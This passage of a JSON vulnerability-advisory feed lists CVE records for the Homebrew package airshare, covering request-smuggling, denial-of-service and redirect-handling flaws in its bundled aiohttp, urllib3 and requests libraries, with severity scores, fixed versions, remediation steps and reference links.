References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-52303","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-27mf-ghqm-j3j8","CVE-2024-52303","PYSEC-2026-1096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp has a memory leak when middleware is enabled when requesting a resource with a non-allowed method","details":"### Summary\n\nA memory leak can occur when a request produces a `MatchInfoError`. This was caused by adding an entry to a cache on each request, due to the building of each `MatchInfoError` producing a unique cache entry.\n\n### Impact\n\nIf the user is making use of any middlewares with `aiohttp.web` then it is advisable to upgrade immediately.\n\nAn attacker may be able to exhaust the memory resources of a server by sending a substantial number (100,000s to millions) of such requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-27mf-ghqm-j3j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52303"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-52304","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-8495-4g3g-x7pr","CVE-2024-52304","PYSEC-2026-1103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_15"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp allows request smuggling due to incorrect parsing of chunk extensions","details":"### Summary\nThe Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or `AIOHTTP_NO_EXTENSIONS` is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8495-4g3g-x7pr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52304"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-50181","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0) # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0)) # equivalent to the above\nhttp = urllib3.PoolManager(retries=False) # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-50182","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-48p4-8xcf-vxj5","CVE-2025-50182","PYSEC-2026-1997"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 does not control redirects in browsers and Node.js","details":"urllib3 [supports](https://urllib3.readthedocs.io/en/2.4.0/reference/contrib/emscripten.html) being used in a Pyodide runtime utilizing the [JavaScript Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) or falling back on [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest). This means you can use Python libraries to make HTTP requests from your browser or Node.js. Additionally, urllib3 provides [a mechanism](https://urllib3.readthedocs.io/en/2.4.0/user-guide.html#retrying-requests) to control redirects.\n\nHowever, the `retries` and `redirect` parameters are ignored with Pyodide; the runtime itself determines redirect behavior.\n\n\n## Affected usages\n\nAny code which relies on urllib3 to control the number of redirects for an HTTP request in a Pyodide runtime.\n\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects may remain vulnerable if a Pyodide runtime redirect mechanism is unsuitable.\n\n\n## Remediation\n\nIf you use urllib3 in Node.js, upgrade to a patched version of urllib3.\n\nUnfortunately, browsers provide no suitable way which urllib3 can use: `XMLHttpRequest` provides no control over redirects, the Fetch API returns `opaqueredirect` responses lacking data when redirects are controlled manually. Expect default browser behavior for redirects.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-48p4-8xcf-vxj5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50182"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/7eb4a2aafe49a279c29b6d1f0ed0f42e9736194f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-53643","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-9548-qrrj-x5pj","CVE-2025-53643","PYSEC-2026-1104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_18"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.12.14","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":" AIOHTTP is vulnerable to HTTP Request/Response Smuggling through incorrect parsing of chunked trailer sections","details":"### Summary\nThe Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9548-qrrj-x5pj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53643"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-66418","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-66471","published":"2026-08-13T16:35:13Z","modified":"2026-09-28T18:54:16Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69223","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-6mq8-rvhq-8wgg","CVE-2025-69223","PYSEC-2026-1101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb","details":"### Summary\nA zip bomb can be used to execute a DoS against the aiohttp server.\n\n### Impact\nAn attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69224","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-69f9-5gxw-wvc2","CVE-2025-69224","PYSEC-2026-1099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP's unicode processing of header values could cause parsing discrepancies","details":"### Summary\nThe Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-69f9-5gxw-wvc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69224"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69225","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-mqqc-3gqh-h2x8","CVE-2025-69225","PYSEC-2026-1109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has unicode match groups in regexes for ASCII protocol elements","details":"### Summary\n\nThe parser allows non-ASCII decimals to be present in the Range header.\n\n### Impact\n\nThere is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mqqc-3gqh-h2x8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69225"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69226","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-54jq-c3m8-4m76","CVE-2025-69226","PYSEC-2026-1097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to brute-force leak of internal static file path components","details":"### Summary\nPath normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the\nexistence of absolute path components.\n\n### Impact\nIf an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69226"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69227","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-jj3x-wxrx-4x23","CVE-2025-69227","PYSEC-2026-1107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS when bypassing asserts","details":"### Summary\nWhen assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.\n\n### Impact\nIf optimisations are enabled (`-O` or `PYTHONOPTIMIZE=1`), and the application includes a handler that uses the `Request.post()` method, then an attacker may be able to execute a DoS attack with a specially crafted message.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jj3x-wxrx-4x23"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69227"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69228","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-6jhg-hg63-jvvf","CVE-2025-69228","PYSEC-2026-1100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to denial of service through large payloads","details":"### Summary\nA request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.\n\n### Impact\nIf an application includes a handler that uses the `Request.post()` method, an attacker may be able to freeze the server by exhausting the memory.\n\n-----\n\nPatch: 